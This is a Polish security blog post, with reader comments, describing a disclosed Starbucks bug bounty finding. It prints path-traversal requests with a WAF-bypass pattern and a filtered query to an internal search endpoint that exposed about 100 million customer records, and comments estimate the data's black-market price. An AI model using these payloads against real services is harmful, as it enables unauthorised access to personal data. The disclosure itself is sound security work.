Dostał się do danych ~100 000 000 klientów Starbucksa. Dziurawa obsługa kart rabatowych dała mu $4000 nagrody :-)

Ciekawe znalezisko w kontekście bezpieczeństwa API. Nieco zniecierpliwiony brakiem znalezisk w innym programie bug bounty, badacz postanowił sobie zrobić przerwę, a że były urodziny jego przyjaciela postanowił zakupić mu praktyczny prezent – kartę prezentową Starbucksa.
Zakup zakupem, ale można trochę pogrzebać w żądaniach do API. Np. taki endpoint zwraca szczegóły bieżącego użytkownika
1 2 |
POST /bff/proxy/orchestra/get-user HTTP/1.1 Host: app.starbucks.com |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
{ "data": { "user": { "exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F", "firstName": "Sam", "lastName": "Curry", "email": "samwcurry@gmail.com", "partnerNumber": null, "birthDay": null, "birthMonth": null, "loyaltyProgram": null } } } |
Podejrzane może się trochę wydawać proxy. Jest to… proxy działające pomiędzy frontendem z systemem wewnętrznym Starbucksa:

proxy
A może udałoby się jakoś ominąć uwierzytelnienie odwołując się do endpointa, do którego mamy uprawnienia? Udało się ;) za pomocą path traversal:
1 2 |
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search Host: app.starbucks.com |
1 2 3 4 5 |
HTTP/1.1 301 Moved Permanently Server: nginx Content-Type: text/html Content-Length: 162 Location: /search/ |
Czyli tutaj mamy uprawnienia do: /v1/users/me/streamItems/web ale po przetworzeniu przez proxy, odwołujemy się de facto do /search Skąd taka dziwna ścieżka składająca się z fragmentów \..\.\..\
(zamiast ze zwykłych \..\) ? To ominięcie WAF-a. To było dla WAF-a podejrzane (blokował):
1 |
GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ |
Ale tego już nie:
1 2 |
GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1 Host: app.starbucks.com |
Wracając do core rozważań. Czym jest endpoint /search ? Wyszukiwarką wszystkich użytkowników (w bazie było ich ~100 000 000). I co więcej można stosować zapytania z filtrami – np. szukając specyficznego username:
1 2 |
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1 Host: app.starbucks.com |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "value": [ { "Id": 81763022, "ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354", "UserName": "redacted@gmail.com", "FirstName": "Justin", "LastName": "Gardner", "EmailAddress": "redacted@gmail.com", "Submarket": "US", "PartnerNumber": null, "RegistrationDate": "2018-05-19T18:52:15.0763564Z", "RegistrationSource": "Android", "LastUpdated": "2020-05-16T23:28:39.3426069Z" } ] } |
Za znalezisko wypłacono nagrodę $4000 w ramach oficjalnego programu bug bounty.
–ms
A droga redakcjo szacunkowo za ile sprzedalby te dane na czarnym rynku?
620mln bylo za „For less than $20,000 in Bitcoin..”
https://www.theregister.com/2019/02/11/620_million_hacked_accounts_dark_web/
100 mln emaili, policz…
zblizona ilosc:
„MyHeritage 92,284,478 accounts for 0.549 BTC ($1,976) total”